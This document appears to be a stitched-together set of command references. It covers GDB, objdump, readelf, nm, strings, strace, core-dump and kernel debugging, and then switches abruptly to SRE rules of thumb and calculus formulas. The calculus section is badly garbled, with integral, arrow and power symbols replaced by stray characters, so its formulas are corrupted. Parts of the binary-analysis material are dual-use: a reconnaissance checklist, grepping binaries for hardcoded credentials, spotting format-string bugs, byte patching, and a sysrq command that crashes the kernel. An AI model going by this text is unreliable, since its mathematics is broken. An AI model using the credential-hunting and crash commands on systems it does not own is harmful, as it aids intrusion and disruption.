(gdb) catch signal SIGSEGV

# Catch all signals
(gdb) catch signal all

# Info signals
(gdb) info signals

# Handle signal (pass, nopass, stop, nostop, print, noprint)
(gdb) handle SIGINT nostop print pass

# On remote machine
gdbserver :1234 ./program

# Or attach to running process
gdbserver :1234 --attach <pid>

# On local machine
gdb ./program
(gdb) target remote remote-host:1234
(gdb) continue

# Connect via serial port
gdb ./program
(gdb) target remote /dev/ttyUSB0

# Set baud rate (if needed, in .gdbinit)
set serial baud 115200

# Start TUI mode
(gdb) tui enable
(gdb) Ctrl+X A               # Toggle TUI

# TUI layouts
(gdb) layout src             # Source code
(gdb) layout asm             # Assembly
(gdb) layout split           # Source and assembly
(gdb) layout regs            # Registers

# Window focus
(gdb) focus cmd              # Focus command window
(gdb) focus src              # Focus source window

# Refresh display
(gdb) Ctrl+L                 # Refresh screen

# Enable pretty printing
(gdb) set print pretty on
(gdb) set print array on
(gdb) set print array-indexes on

# STL pretty printers (C++)
(gdb) python
import sys
sys.path.insert(0, '/usr/share/gcc/python')
from libstdcxx.v6.printers import register_libstdcxx_printers
register_libstdcxx_printers(None)
end

# Now print STL containers nicely
(gdb) print my_vector
(gdb) print my_map

# Enable logging
(gdb) set logging on          # Logs to gdb.txt
(gdb) set logging file mylog.txt
(gdb) set logging overwrite on

# Log and display
(gdb) set logging redirect off

# ~/.gdbinit
define plist
    set $node = $arg0
    while $node != 0
        print *$node
        set $node = $node->next
    end
end

# Usage
(gdb) plist head

# Break on all functions matching pattern
(gdb) rbreak ^my_.*          # All functions starting with my_

# Break on exception throw (C++)
(gdb) catch throw

# Break on system calls
(gdb) catch syscall write

# Problems with -O2, -O3
# Variables optimized away
# Inlining makes stepping difficult

# Solutions:
# 1. Compile with -Og (optimize for debugging)
gcc -g -Og program.c -o program

# 2. Disable specific optimizations
gcc -g -O2 -fno-inline program.c -o program

# 3. Use volatile for critical variables
volatile int debug_var;

# In GDB, skip inlined functions
(gdb) skip -rfu ^std::

# Run program under Valgrind with GDB server
valgrind --vgdb=yes --vgdb-error=0 ./program

# In another terminal
gdb ./program
(gdb) target remote | vgdb

# Makefile
debug: program
	gdb ./program

.PHONY: debug

// .vscode/launch.json
{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "GDB Debug",
            "type": "cppdbg",
            "request": "launch",
            "program": "${workspaceFolder}/program",
            "args": [],
            "stopAtEntry": false,
            "cwd": "${workspaceFolder}",
            "environment": [],
            "externalConsole": false,
            "MIMode": "gdb",
            "setupCommands": [
                {
                    "description": "Enable pretty-printing",
                    "text": "-enable-pretty-printing",
                    "ignoreFailures": true
                }
            ]
        }
    ]
}

# Can't see source code
(gdb) directory /path/to/source

# Symbols not loaded
# Ensure compiled with -g
# Check symbols loaded
(gdb) info sources

# Can't set breakpoint
# Check function exists
(gdb) info functions pattern

# Program behavior different in GDB
# Try without breakpoints
# Timing-sensitive bugs

# GDB hangs
# Check for infinite loops in pretty printers
(gdb) set print elements 100

# Can't debug strip binary
# Need unstripped version or separate debug symbols

# Display file headers
objdump -f binary

# Display section headers
objdump -h binary

# Display all headers
objdump -x binary

# Disassemble executable sections
objdump -d binary

# Disassemble all sections (including data)
objdump -D binary

# Display source code intermixed with assembly
objdump -S binary

# Display full contents of all sections
objdump -s binary

# Disassemble specific section
objdump -d -j .text binary

# Disassemble with source code (requires -g compilation)
objdump -S binary

# Intel syntax instead of AT&T
objdump -M intel -d binary

# Show line numbers
objdump -l -d binary

# Disassemble specific function
objdump -d binary | grep -A 50 '<function_name>'

# Start disassembly at specific address
objdump --start-address=0x400500 -d binary

# Stop at specific address
objdump --stop-address=0x400600 -d binary

# Disassemble address range
objdump --start-address=0x400500 --stop-address=0x400600 -d binary

# Display symbol table
objdump -t binary

# Display dynamic symbol table
objdump -T binary

# Display relocation entries
objdump -r binary

# Display dynamic relocation entries
objdump -R binary

# Demangle C++ symbols
objdump -C -t binary

# Display private headers (ELF program headers)
objdump -p binary

# Display dynamic section
objdump -p binary | grep NEEDED

# Show file format specific info
objdump -i

# Display debugging information
objdump -g binary

# Complete information dump
objdump -x -d -C binary > analysis.txt

# Find all calls to a specific function
objdump -d binary | grep "call.*function_name"

# Find all string references
objdump -s -j .rodata binary | less

# Check if binary is position independent
objdump -p binary | grep -i "type.*dyn"

# Find entry point
objdump -f binary | grep start

# Analyze GOT (Global Offset Table)
objdump -R binary

# Check for security features
objdump -p binary | grep -i "stack\|nx\|pie"

# Compare two binaries
diff <(objdump -d binary1) <(objdump -d binary2)

# Extract specific function disassembly
objdump -d binary | sed -n '/<main>:/,/^$/p'

# ARM architecture
objdump -m arm -D binary

# MIPS architecture
objdump -m mips -D binary

# PowerPC
objdump -m powerpc -D binary

# Show available architectures
objdump -i

# List all shared library dependencies
ldd binary

# Verbose output with symbol versioning
ldd -v binary

# Show unused direct dependencies
ldd -u binary

# Display data relocations
ldd -d binary

# Display both data and function relocations
ldd -r binary

# Check for missing libraries
ldd binary 2>&1 | grep "not found"

# Find library path
ldd binary | grep libname

# Check if statically linked
ldd binary
# Output: "not a dynamic executable" for static binaries

# Compare dependencies between versions
diff <(ldd binary1) <(ldd binary2)

# Find all dependencies recursively
ldd -v binary

# Check library versions
ldd binary | grep libc

# WARNING: Never run ldd on untrusted binaries!
# ldd executes the binary to determine dependencies

# Safer alternative using objdump
objdump -p binary | grep NEEDED

# Or use readelf
readelf -d binary | grep NEEDED

# Or use ld.so directly (safer)
LD_TRACE_LOADED_OBJECTS=1 /lib64/ld-linux-x86-64.so.2 ./binary

# Set LD_LIBRARY_PATH for testing
LD_LIBRARY_PATH=/custom/path ldd binary

# Check library search paths
ldconfig -v | grep libname

# Show library loading verbosely
LD_DEBUG=libs ./binary

# Debug symbol resolution
LD_DEBUG=symbols ./binary

# Debug all library operations
LD_DEBUG=all ./binary 2>&1 | less

# Find which package provides a library (Debian/Ubuntu)
dpkg -S /path/to/library.so

# Find which package provides a library (RHEL/CentOS)
rpm -qf /path/to/library.so

# List all symbols
nm binary

# List only external symbols
nm -g binary

# List only undefined symbols
nm -u binary

# List symbols with demangled C++ names
nm -C binary

# Display symbol sizes
nm -S binary

# Sort by address
nm -n binary

# Sort by size
nm --size-sort binary

# Display dynamic symbols only
nm -D binary

Symbol Type Meanings:
A - Absolute symbol
B/b - Uninitialized data (BSS)
C - Common symbol
D/d - Initialized data
G/g - Initialized data for small objects
I - Indirect reference
N - Debug symbol
R/r - Read-only data
S/s - Uninitialized data for small objects
T/t - Text (code) section
U - Undefined symbol
V/v - Weak object
W/w - Weak symbol
? - Unknown type

Uppercase = global/external
Lowercase = local

# Find definition of a symbol
nm -A *.o | grep symbol_name

# Check if symbol is defined
nm binary | grep -w symbol_name

# List all undefined symbols (missing dependencies)
nm -u binary

# Find which object file defines a symbol
nm -A *.o | grep " T symbol_name"

# Check for duplicate symbols
nm -A *.o | sort -k3 | uniq -f2 -d

# List all functions (text symbols)
nm binary | grep " T "

# List all global variables
nm binary | grep " D \| B "

# Find symbols by pattern
nm binary | grep -i "pattern"

# Compare symbols between binaries
diff <(nm binary1 | sort) <(nm binary2 | sort)

# Check symbol visibility
nm -g binary | wc -l    # Count exported symbols

# Find large symbols
nm --size-sort -S binary | tail -20

# List symbols with addresses and sizes
nm -S -n binary

# Check for C++ name mangling
nm binary | grep "_Z"

# List symbols from static library
nm libstatic.a

# List symbols with archive member names
nm -A libstatic.a

# Print index of archive
nm -s libstatic.a

# Display ELF file header
readelf -h binary

# Display program headers
readelf -l binary

# Display section headers
readelf -S binary

# Display symbol table
readelf -s binary

# Display all headers
readelf -a binary

# Display dynamic section
readelf -d binary

# Display version information
readelf -V binary

# Display relocations
readelf -r binary

# Show section to segment mapping
readelf -l binary

# Display specific section
readelf -x .text binary

# Display section as strings
readelf -p .rodata binary

# Get section sizes
readelf -S binary | awk '{print $6, $7, $2}'

# Find sections by name
readelf -S binary | grep .data

# Display notes section
readelf -n binary

# Display symbol table with demangling
readelf -s -W binary | c++filt

# Display dynamic symbols only
readelf --dyn-syms binary

# Show symbol versions
readelf -V binary

# Display symbol by index
readelf -s binary | grep "\[13\]"

# Count symbols
readelf -s binary | wc -l

# Show shared library dependencies
readelf -d binary | grep NEEDED

# Display RPATH and RUNPATH
readelf -d binary | grep PATH

# Show dynamic relocations
readelf -r binary

# Display PLT/GOT information
readelf -r binary | grep -E "PLT|GOT"

# Check for RELRO
readelf -l binary | grep GNU_RELRO

# Check for stack canary
readelf -s binary | grep __stack_chk_fail

# Check for PIE/PIC
readelf -h binary | grep Type

# Check for NX (No-Execute) stack
readelf -l binary | grep GNU_STACK

# Check for RELRO (Relocation Read-Only)
readelf -l binary | grep GNU_RELRO

# Check for PIE (Position Independent Executable)
readelf -h binary | grep "Type.*DYN"

# Check for FORTIFY_SOURCE
readelf -s binary | grep "__.*_chk"

# Display all security features
readelf -d -l binary | grep -E "BIND_NOW|RELRO|STACK"

# Find entry point
readelf -h binary | grep Entry

# Get architecture
readelf -h binary | grep Machine

# Check if stripped
readelf -S binary | grep -q .symtab && echo "Not stripped" || echo "Stripped"

# Find section addresses
readelf -S binary | awk '{print $5, $2}'

# Extract build ID
readelf -n binary | grep "Build ID"

# Display thread-local storage
readelf -l binary | grep TLS

# Show interpreter (dynamic linker)
readelf -l binary | grep interpreter

# Check ABI version
readelf -h binary | grep Version

# Extract all printable strings (default min length 4)
strings binary

# Set minimum string length
strings -n 8 binary

# Show file offset of each string
strings -t d binary      # Decimal offset
strings -t x binary      # Hexadecimal offset
strings -t o binary      # Octal offset

# Scan entire file (not just data sections)
strings -a binary

# Scan only data sections (default)
strings -d binary

# Find version strings
strings binary | grep -i version

# Find URLs
strings binary | grep -E "https?://"

# Find file paths
strings binary | grep "^/"

# Find email addresses
strings binary | grep "@"

# Find potential passwords or keys
strings binary | grep -i "password\|key\|secret"

# Find error messages
strings binary | grep -i "error\|warning\|failed"

# Search for specific string
strings binary | grep "search_term"

# Extract strings from core dump
strings core.dump | less

# Find function names
strings binary | grep "^[a-zA-Z_][a-zA-Z0-9_]*$"

# Look for debug strings
strings binary | grep -i "debug\|assert\|printf"

# Find SQL queries
strings binary | grep -i "SELECT\|INSERT\|UPDATE\|DELETE"

# Extract with context (combined with grep)
strings -n 6 binary | grep -i -C 2 "interesting"

# 7-bit ASCII (default)
strings -e s binary

# 8-bit ISO Latin-1
strings -e S binary

# 16-bit little-endian
strings -e l binary

# 16-bit big-endian
strings -e b binary

# All encodings
strings -e {s,S,l,b} binary

# Combine with other tools
strings binary | sort | uniq
strings binary | grep -v "^[[:space:]]*$"  # Remove empty lines

# Compare strings between versions
diff <(strings binary1 | sort) <(strings binary2 | sort)

# Find hardcoded IP addresses
strings binary | grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"

# Extract strings longer than 20 characters
strings -n 20 binary

# Save strings to file for analysis
strings -a -t x binary > strings_analysis.txt

# Find potential format string vulnerabilities
strings binary | grep "%s\|%x\|%n"

# Identify file type
file binary

# Display MIME type
file -i binary
file --mime-type binary

# Brief mode (don't prepend filename)
file -b binary

# Dereference symlinks
file -L symlink

# Don't stop at first match
file -k binary

# Check magic file
file -m /path/to/magic binary

# Check if binary is stripped
file binary | grep stripped

# Find architecture
file binary | grep -o "x86-64\|i386\|ARM\|MIPS"

# Check if statically or dynamically linked
file binary | grep -o "statically\|dynamically"

# Identify all files in directory
file * | grep -v directory

# Find ELF files recursively
find . -type f -exec file {} \; | grep ELF

# Check if executable
file binary | grep executable

# Identify core dumps
file core.* | grep "core file"

# Check endianness
file binary | grep -o "LSB\|MSB"

# Batch check file types
find /path -type f -exec file -b {} \; | sort | uniq -c

# Find shared libraries
file /lib/* | grep "shared object"

# Identify debug binaries
file binary | grep "not stripped"

# Trace all system calls
strace ./program

# Attach to running process
strace -p PID

# Trace child processes
strace -f ./program

# Count system calls
strace -c ./program

# Save output to file
strace -o trace.log ./program

# Show timestamps
strace -t ./program       # Time of day
strace -tt ./program      # Microseconds
strace -T ./program       # Time spent in syscall

# Trace specific system call
strace -e open ./program
strace -e openat ./program

# Trace multiple system calls
strace -e open,read,write ./program

# Trace file operations
strace -e trace=file ./program

# Trace network operations
strace -e trace=network ./program

# Trace process operations
strace -e trace=process ./program

# Trace signals
strace -e trace=signal ./program

# Trace IPC operations
strace -e trace=ipc ./program

# Exclude system calls
strace -e \!write ./program

# Find which files a program opens
strace -e openat ./program 2>&1 | grep -E "\".*\""

# Debug library loading issues
strace -e open,openat,access ./program 2>&1 | grep "\.so"

# Find configuration files being read
strace -e openat,stat ./program 2>&1 | grep -E "\.conf|\.cfg|\.ini"

# Monitor network connections
strace -e socket,connect,sendto,recvfrom ./program

# Find why program hangs
strace -p PID

# Measure system call performance
strace -c -S calls ./program

# Debug file permission issues
strace -e open,openat,access ./program 2>&1 | grep EACCES

# Monitor child processes
strace -f -e clone,fork,vfork ./program

# Find files written
strace -e write,openat ./program 2>&1 | grep "O_WRONLY\|O_RDWR"

# Debug DNS resolution
strace -e socket,connect ./program 2>&1 | grep "AF_INET"

# Show string contents
strace -s 1024 ./program

# Trace only failed system calls
strace -Z ./program

# Monitor specific file
strace -e open,read,write -P /path/to/file ./program

# Attach to all threads of a process
strace -p PID -f

# Trace with full string output
strace -s 4096 ./program

# Timestamp with relative times
strace -r ./program

# Filter by return value
strace -e open -e status=successful ./program
strace -e open -e status=failed ./program

# Quiet mode (suppress attach/detach messages)
strace -q -p PID

# Decode structures
strace -v ./program

# Output to separate files for each process
strace -ff -o trace ./program
# Creates trace.PID files

# Trace library calls
ltrace ./program

# Attach to running process
ltrace -p PID

# Follow forks
ltrace -f ./program

# Count library calls
ltrace -c ./program

# Save to file
ltrace -o trace.log ./program

# Show timestamps
ltrace -t ./program
ltrace -tt ./program      # Microseconds

# Trace specific function
ltrace -e malloc ./program

# Trace multiple functions
ltrace -e malloc,free ./program

# Exclude functions
ltrace -e \!printf ./program

# Trace functions from specific library
ltrace -l libssl.so ./program

# Show syscalls too
ltrace -S ./program

# Debug memory allocation
ltrace -e malloc,calloc,realloc,free ./program

# Monitor string operations
ltrace -e strcpy,strcat,strcmp ./program

# Track file operations
ltrace -e fopen,fread,fwrite,fclose ./program

# Debug crashes
ltrace -S -f ./program 2>&1 | tee crash.log

# Find memory leaks
ltrace -e malloc,free -c ./program

# Monitor network library calls
ltrace -e socket,connect,send,recv ./program

# Trace with full strings
ltrace -s 1024 ./program

# Canonical hex+ASCII display
hexdump -C file

# One-byte octal display
hexdump -b file

# Two-byte decimal display
hexdump -d file

# Two-byte hex display
hexdump -x file

# Custom format
hexdump -e '16/1 "%02x " "\n"' file

# Skip bytes
hexdump -s 1024 file

# Limit output
hexdump -n 512 file

# Display specific range
hexdump -s 1024 -n 512 file

# Standard hex dump
xxd file

# Binary output
xxd -b file

# Plain hex dump (no addresses/ASCII)
xxd -p file

# Reverse hex dump (hex to binary)
xxd -r hexfile > binary

# Limit output
xxd -l 256 file

# Start at offset
xxd -s 1024 file

# Columns
xxd -c 32 file    # 32 bytes per line

# Include offset
xxd -o 0x1000 file

# Quick peek at binary file
xxd file | head

# Compare binary files
diff <(xxd file1) <(xxd file2)

# Extract magic number
xxd -l 16 file

# Search for hex pattern
xxd file | grep "pattern"

# Convert hex to binary
echo "48656c6c6f" | xxd -r -p

# Binary to hex
xxd -p file | tr -d '\n'

# Patch binary (modify specific bytes)
echo "00000000: 9090" | xxd -r - patched_file

# View memory dump
hexdump -C core.dump | less

# Compare checksums
xxd -p file | md5sum

# Display section sizes
size binary

# Berkeley format (default)
size -B binary

# SysV format (more detailed)
size -A binary

# Display in decimal (default)
size -d binary

# Display in octal
size -o binary

# Display in hexadecimal
size -x binary

# Total size only
size -t binary1 binary2 binary3

# Compare binary sizes
size binary1 binary2

# Sort by total size
size *.o | sort -k4 -n

# Find largest object files
size *.o | sort -k4 -rn | head

# Track size over commits
git log --oneline | head -10 | while read hash msg; do
    git checkout -q $hash
    echo -n "$hash: "
    size binary
done

# Check size limits
size binary | awk '{if ($4 > 1000000) print "Too large!"}'

# Compare sections
size -A binary | awk '{print $1, $2}'

# Strip all symbols
strip binary

# Strip debug symbols only
strip -g binary
strip --strip-debug binary

# Strip all debug and symbol info
strip --strip-all binary

# Keep specific symbols
strip --keep-symbol=main binary

# Strip into separate file
strip -o stripped_binary original_binary

# Preserve file timestamp
strip -p binary

# Check size reduction
ls -lh binary
strip binary
ls -lh binary

# Strip all binaries in directory
strip *.o

# Strip but keep debug info separate
objcopy --only-keep-debug binary binary.debug
strip binary
objcopy --add-gnu-debuglink=binary.debug binary

# Verify stripped status
file binary | grep stripped
readelf -S binary | grep symtab

# Strip specific sections
strip --remove-section=.comment binary
strip --remove-section=.note binary

# Batch strip with backup
for bin in *.o; do
    cp "$bin" "$bin.bak"
    strip "$bin"
done

# Convert address to source location
addr2line -e binary 0x400500

# Multiple addresses
addr2line -e binary 0x400500 0x400520

# Show function names
addr2line -f -e binary 0x400500

# Demangle C++ names
addr2line -C -f -e binary 0x400500

# Pretty print
addr2line -p -f -e binary 0x400500

# Use with backtrace
addr2line -e binary -f < backtrace.txt

# Decode stack trace from crash
grep "0x[0-9a-f]*" crash.log | addr2line -e binary -f -C

# Analyze core dump addresses
gdb -batch -ex "bt" -c core binary 2>&1 | \
    grep -oE "0x[0-9a-f]+" | \
    addr2line -e binary -f -p

# Continuous monitoring
tail -f error.log | while read line; do
    addr=$(echo "$line" | grep -oE "0x[0-9a-f]+")
    [ -n "$addr" ] && addr2line -e binary -f -C $addr
done

# Convert all addresses in file
grep -oE "0x[0-9a-f]+" addresses.txt | \
    xargs addr2line -e binary -f -C

# Demangle symbol
echo "_ZN9MyClass10myFunctionEv" | c++filt

# Demangle from nm output
nm binary | c++filt

# Demangle specific symbol
c++filt _ZN9MyClass10myFunctionEv

# Read from file
c++filt < mangled_symbols.txt

# Demangle nm output
nm -C binary  # Built-in demangling
nm binary | c++filt

# Demangle objdump output
objdump -t binary | c++filt

# Find mangled symbols
nm binary | grep "^_Z" | c++filt

# Compare mangled vs demangled
nm binary | grep "^_Z" | while read addr type sym; do
    echo "Mangled:   $sym"
    echo "Demangled: $(echo $sym | c++filt)"
    echo ""
done

# Copy binary
objcopy input.o output.o

# Extract debug symbols
objcopy --only-keep-debug binary binary.debug

# Strip debug info
objcopy --strip-debug binary binary.stripped

# Add debug link
objcopy --add-gnu-debuglink=binary.debug binary

# Remove section
objcopy --remove-section=.comment binary

# Add section
objcopy --add-section .newsec=data.bin binary

# Split debug symbols
objcopy --only-keep-debug program program.debug
objcopy --strip-debug program
objcopy --add-gnu-debuglink=program.debug program

# Convert formats
objcopy -O binary input.elf output.bin
objcopy -I binary -O elf64-x86-64 data.bin data.o

# Extract section
objcopy -O binary --only-section=.text binary text.bin

# Change section attributes
objcopy --set-section-flags .data=alloc,load,readonly binary

# Embed file as binary data
objcopy -I binary -O elf64-x86-64 -B i386:x86-64 \
    --rename-section .data=.rodata,alloc,load,readonly,data,contents \
    data.bin data.o

# Create binary from ELF
objcopy -O binary program program.bin

# 1. Basic identification
file binary

# 2. Check if stripped
file binary | grep -q stripped

# 3. Check architecture and type
readelf -h binary

# 4. List dependencies
ldd binary
# or safer: readelf -d binary | grep NEEDED

# 5. Check security features
checksec binary  # If available
# or manually:
readelf -l binary | grep STACK
readelf -l binary | grep RELRO
readelf -h binary | grep Type

# 6. Extract strings
strings binary | less

# 7. List symbols (if not stripped)
nm -D binary | c++filt

# 8. Examine entry point and sections
readelf -l binary
readelf -S binary

# 9. Quick disassembly
objdump -d binary | less

# 10. Look for interesting functions
nm binary | grep -i "password\|auth\|key\|encrypt"

# 1. Check dependencies
ldd binary

# 2. Find missing libraries
ldd binary 2>&1 | grep "not found"

# 3. Check library paths
readelf -d binary | grep PATH

# 4. Trace library loading
LD_DEBUG=libs ./binary 2>&1 | tee lib_debug.log

# 5. Check symbol versions
readelf -V binary

# 6. Verify library exports expected symbols
nm -D /path/to/library.so | grep symbol_name

# 7. Check symbol binding
readelf -s binary | grep symbol_name

# 8. Trace runtime symbol resolution
LD_DEBUG=symbols ./binary 2>&1 | grep symbol_name

# 1. Count system calls
strace -c ./program

# 2. Find slow operations
strace -T -e trace=all ./program 2>&1 | grep "<.*>"

# 3. Analyze I/O patterns
strace -e trace=file -c ./program

# 4. Monitor memory allocation
ltrace -e malloc,free -c ./program

# 5. Find hot functions
perf record ./program
perf report

# 6. Check binary size efficiency
size -A binary | sort -k2 -rn

# 1. Identify file
file binary

# 2. Extract strings for reconnaissance
strings -n 8 binary > strings.txt

# 3. Get symbol information
nm -C binary > symbols.txt 2>/dev/null || echo "Stripped"

# 4. Check imports/exports
readelf -s binary | grep FUNC > functions.txt

# 5. Disassemble main sections
objdump -M intel -d binary > disasm.txt

# 6. Examine ELF structure
readelf -a binary > elf_info.txt

# 7. Extract embedded data
objdump -s -j .rodata binary > rodata.txt

# 8. Analyze control flow
objdump -d binary | grep -E "call|jmp|ret"

# 9. Find cross-references
objdump -d binary | grep "call.*<function_name>"

# 10. Check for anti-debugging
strings binary | grep -i "ptrace\|debug\|trace"
readelf -s binary | grep ptrace

# Extract debug symbols
objcopy --only-keep-debug program program.debug

# Strip original
objcopy --strip-debug --strip-unneeded program

# Add debug link
objcopy --add-gnu-debuglink=program.debug program

# Verify
file program.debug
file program
readelf -S program | grep debug_link

# Install debug symbols
sudo mkdir -p /usr/lib/debug
sudo cp program.debug /usr/lib/debug/

# Debug with separate symbols
gdb program
(gdb) info sources  # Should find debug symbols

# Always verify file type first
file binary

# Use safer alternatives to ldd
readelf -d binary | grep NEEDED
objdump -p binary | grep NEEDED

# Combine tools for better analysis
nm -D binary | c++filt | grep "function_name"

# Save analysis to files
objdump -d binary > disasm.txt
readelf -a binary > elf_analysis.txt
strings binary > strings.txt

# Use grep for filtering
objdump -d binary | grep -A 10 "<main>:"

# Chain commands for complex queries
readelf -s binary | awk '{print $8}' | grep -v "^$" | sort | uniq

# Check for common security features
readelf -l binary | grep "GNU_STACK.*RWE"  # Should be RW, not RWE
readelf -l binary | grep GNU_RELRO
readelf -d binary | grep BIND_NOW
readelf -h binary | grep "Type.*DYN"  # PIE enabled

# Find dangerous functions
nm binary | grep -E "strcpy|strcat|sprintf|gets"
objdump -d binary | grep "call.*<strcpy@plt>"

# Check for hardcoded credentials
strings binary | grep -i "password\|passwd\|pwd"

# Look for format string vulnerabilities
strings binary | grep "%[0-9]"

# Quick crash analysis
file core.dump
gdb program core.dump
(gdb) bt
(gdb) info registers

# Find why binary won't run
ldd binary
strace ./binary 2>&1 | head -50

# Debug symbol resolution
LD_DEBUG=all ./binary 2>&1 | grep symbol_name

# Compare working vs broken binary
diff <(objdump -d working) <(objdump -d broken)
diff <(ldd working) <(ldd broken)

# Check current limit
ulimit -c

# Enable unlimited core dumps
ulimit -c unlimited

# Make persistent (add to ~/.bashrc)
echo "ulimit -c unlimited" >> ~/.bashrc

# System-wide core dump configuration
sudo vim /etc/security/limits.conf
# Add: * soft core unlimited

# Set core dump pattern
sudo sysctl -w kernel.core_pattern=/tmp/core-%e-%p-%t

# Options:
# %e - executable name
# %p - PID
# %t - timestamp
# %s - signal number
# %h - hostname

# Or use systemd-coredump
sudo sysctl -w kernel.core_pattern=|/lib/systemd/systemd-coredump %P %u %g %s %t %c %h

# From running process
kill -SEGV <pid>

# From code
#include <signal.h>
raise(SIGSEGV);

# Trigger with gdb
gdb ./program
(gdb) run
(gdb) generate-core-file

# Load core dump
gdb ./program core

# Or
gdb ./program core.12345

# GDB commands
(gdb) bt                 # Backtrace
(gdb) info threads       # List threads
(gdb) thread 2           # Switch to thread 2
(gdb) frame 0            # Select frame
(gdb) info locals        # Local variables
(gdb) print variable     # Print variable
(gdb) info registers     # CPU registers
(gdb) disassemble        # Disassemble current function

$ gdb ./myapp core.12345
(gdb) bt
#0  0x00007f8b9c5a7428 in __GI_raise ()
#1  0x00007f8b9c5a902a in __GI_abort ()
#2  0x0000000000401234 in my_function () at myapp.c:42
#3  0x0000000000401567 in main () at myapp.c:100

(gdb) frame 2
(gdb) list
37      int *ptr = NULL;
38      int value = 0;
39
40      // This will crash
41      value = *ptr;
42
43      return value;

(gdb) print ptr
$1 = (int *) 0x0

(gdb) info locals
ptr = 0x0
value = 0

# File information
file core.12345

# Strings in core
strings core.12345 | less

# Binary that produced core
file core.12345
# Look for "execfn:" in output

# All loaded libraries
gdb -batch -ex "info sharedlibrary" ./program core

# Generate backtrace
gdb -batch -ex "bt" ./program core > backtrace.txt

# All threads backtrace
gdb -batch -ex "thread apply all bt" ./program core > all_threads.txt

# Docker - enable core dumps
docker run --ulimit core=-1 myimage

# Kubernetes - configure pod
spec:
  containers:
  - name: myapp
    resources:
      limits:
        core: "-1"

# View kernel messages
dmesg

# Follow kernel log
dmesg -w
dmesg --follow

# Filter by level
dmesg -l err,warn

# Human-readable timestamps
dmesg -T

# Clear ring buffer
sudo dmesg -C

# View boot parameters
cat /proc/cmdline

# Add debug parameters (GRUB)
# Edit /etc/default/grub
GRUB_CMDLINE_LINUX="... debug ignore_loglevel"

# Update GRUB
sudo update-grub

// In kernel code
#include <linux/printk.h>

printk(KERN_INFO "Debug: value = %d\n", value);
printk(KERN_ERR "Error occurred\n");

// Log levels
KERN_EMERG, KERN_ALERT, KERN_CRIT, KERN_ERR,
KERN_WARNING, KERN_NOTICE, KERN_INFO, KERN_DEBUG

# Kernel configuration
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y

# Boot with kgdb
kgdboc=ttyS0,115200 kgdbwait

# Connect with GDB
gdb ./vmlinux
(gdb) target remote /dev/ttyS0
(gdb) continue

# When kernel oops occurs, check dmesg
dmesg | tail -100

# Decode with scripts
./scripts/decode_stacktrace.sh vmlinux < oops.txt

# addr2line for addresses
addr2line -e vmlinux -f -i 0xffffffffc0123456

# Install
sudo apt install systemtap

# Simple script
stap -e 'probe kernel.function("sys_open") { println("open called") }'

# Trace system calls
stap -e 'probe syscall.* { printf("%s\n", name) }'

# Enable function tracing
cd /sys/kernel/debug/tracing
echo function > current_tracer
echo 1 > tracing_on
cat trace

# Trace specific function
echo sys_open > set_ftrace_filter
echo function > current_tracer

# Disable
echo 0 > tracing_on

# Install kdump
sudo apt install kdump-tools

# Configure /etc/default/kdump-tools
USE_KDUMP=1

# Test
echo c | sudo tee /proc/sysrq-trigger

# Analyze with crash
crash /usr/lib/debug/boot/vmlinux-$(uname -r) /var/crash/*/dump.* 

Always track: p50, p90, p95, p99
Alert on: p99 degradation
SLA: "p95 < 100ms" (not "average < 100ms")

Find critical points: f'(x) = 0
Check second derivative: f''(x) > 0 → minimum
Verify constraints: boundaries matter

Sample size matters: larger → more confidence
Statistical significance ≠ practical significance
Report confidence intervals, not just p-values

Provision for p99, not average
Account for traffic growth (2x-3x)
Add headroom (1.5x-2x buffer)
Load test at target capacity

lim(x�a) f(x) = L

f'(a) = lim(h�0) [f(a+h) - f(a)] / h

f'(a) = lim(h�0) [f(a+h) - f(a)] / h

f'(a) = lim(x�a) [f(x) - f(a)] / (x - a)

d/dx[u�v] = u'�v + u�v'

d/dx[u/v] = (u'�v - u�v') / v�

d/dx[f(g(x))] = f'(g(x))�g'(x)

dy/dx = (dy/du)�(du/dx)

2x + 2y�(dy/dx) = 0
dy/dx = -x/y

ln(y) = x�ln(x)
(1/y)�(dy/dx) = ln(x) + 1
dy/dx = y�(ln(x) + 1) = x^x�(ln(x) + 1)

dy/dx = (dy/dt) / (dx/dt)

d�y/dx� = d/dx[dy/dx] = [d/dt(dy/dx)] / (dx/dt)

x� + y� = L�
2x�(dx/dt) + 2y�(dy/dt) = 0

f'(c) = [f(b) - f(a)] / (b - a)

L(x) = f(a) + f'(a)�(x - a)

f(a + �x) H f(a) + f'(a)��x

lim(x�a) [f(x)/g(x)] = lim(x�a) [f'(x)/g'(x)]

+ f(x) dx = F(x) + C

+[a to b] f(x) dx

+[a to b] f(x) dx = F(b) - F(a)

+[a to b] f(x) dx = lim(n�) �[i=1 to n] f(x_i*)��x

+ 2x�cos(x�) dx
Let u = x�, du = 2x dx
= + cos(u) du
= sin(u) + C
= sin(x�) + C

+ u dv = uv - + v du

+ x�e^x dx
u = x, dv = e^x dx
du = dx, v = e^x
= x�e^x - + e^x dx
= x�e^x - e^x + C
= e^x(x - 1) + C

+ (1 - x�) dx
Let x = sin(�), dx = cos(�)d�
= + cos(�)�cos(�) d�
= + cos�(�) d�
= + (1 + cos(2�))/2 d�
= �/2 + sin(2�)/4 + C
= arcsin(x)/2 + x(1-x�)/2 + C

+ 1/(x� - 1) dx = + 1/[(x-1)(x+1)] dx
1/(x� - 1) = A/(x-1) + B/(x+1)
1 = A(x+1) + B(x-1)
Solving: A = 1/2, B = -1/2
= (1/2)+ 1/(x-1) dx - (1/2)+ 1/(x+1) dx
= (1/2)ln|x-1| - (1/2)ln|x+1| + C
= (1/2)ln|(x-1)/(x+1)| + C

+[a to ] f(x) dx = lim(t�) +[a to t] f(x) dx

+[a to b] f(x) dx = lim(t�b{) +[a to t] f(x) dx  (if f is discontinuous at b)

A = +[a to b] [f(x) - g(x)] dx

A = +[c to d] [f(y) - g(y)] dy

V = ��+[a to b] [f(x)]� dx

V = ��+[a to b] [R(x)]� - [r(x)]� dx

V = 2��+[a to b] x�f(x) dx

V = 2��+[c to d] y�g(y) dy

V = +[a to b] A(x) dx

L = +[a to b] (1 + [f'(x)]�) dx

L = +[� to �] ([dx/dt]� + [dy/dt]�) dt

L = +[� to �] (r� + [dr/d�]�) d�

S = 2��+[a to b] f(x)�(1 + [f'(x)]�) dx

S = 2��+[a to b] x�(1 + [f'(x)]�) dx

W = +[a to b] F(x) dx

m = ++_R �(x,y) dA

M_x = ++_R y��(x,y) dA
